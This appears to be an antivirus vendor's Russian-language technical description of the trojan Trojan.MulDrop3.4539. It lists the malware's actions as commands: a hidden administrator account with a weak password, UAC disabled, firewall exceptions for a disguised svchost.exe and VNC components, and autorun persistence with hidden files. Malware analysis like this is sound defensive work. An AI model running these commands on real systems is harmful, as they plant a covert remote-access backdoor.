Trojan.MulDrop3.4539

Техническая информация

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\svсhost.exe' = '<SYSTEM32>\svсhost.exe:*:Enabled:Хост-процесс для задач Windows'

Для затруднения выявления своего присутствия в системе

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HelpAssistant /t REG_DWORD /d 0 /f
<SYSTEM32>\net1.exe user HelpAssistant admin /add
<SYSTEM32>\net1.exe localgroup Администраторы HelpAssistant /add
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Операционная система Microsoft Windows" /t REG_SZ /d svсhost /f
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Service Host Controller" /t REG_SZ /d %WINDIR%\SysWOW64\svсhost.exe /f
<SYSTEM32>\net1.exe user HelpAssistant /active:yes /comment:"Учетная запись для предоставления помощи" /passwordchg:yes
<SYSTEM32>\netsh.exe advfirewall firewall add rule name="Хост-процесс для служб Windows" dir=in program="<SYSTEM32>\svсhost.exe" security=notrequired action=allow
<SYSTEM32>\netsh.exe advfirewall firewall add rule name="Хост-процесс для служб Windows" dir=in program="%WINDIR%\SysWOW64\svсhost.exe" security=notrequired action=allow
<SYSTEM32>\netsh.exe firewall add allowedprogram "<SYSTEM32>\svсhost.exe" "Хост-процесс для задач Windows" ENABLE ALL
<SYSTEM32>\net1.exe user HelpAssistant admin
<SYSTEM32>\netsh.exe advfirewall firewall add rule name="RealIP" dir=in program="%WINDIR%\realip.exe" security=notrequired action=allow
<SYSTEM32>\netsh.exe advfirewall firewall add rule name="Microsoft Outlook Express" dir=in program="%WINDIR%\blat.exe" security=notrequired action=allow
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/SysWOW64/svсhost.exe"
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/System32/ultravnc.ini"
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/SysWOW64/ultravnc.ini"
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\install.cmd" <Текущая директория>\"
<SYSTEM32>\chcp.com 1251
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/System32/svсhost.exe"
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/System32/vnchooks.dll"
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/SysWOW64/srvany.exe"
<SYSTEM32>\reg.exe export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System %WINDIR%/System32\uac.reg /y
<SYSTEM32>\reg.exe export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System %WINDIR%/SysWOW64\uac.reg /y
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/System32/instsrv.exe"
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/System32/srvany.exe"
<SYSTEM32>\attrib.exe +s +h +r "%WINDIR%/SysWOW64/instsrv.exe"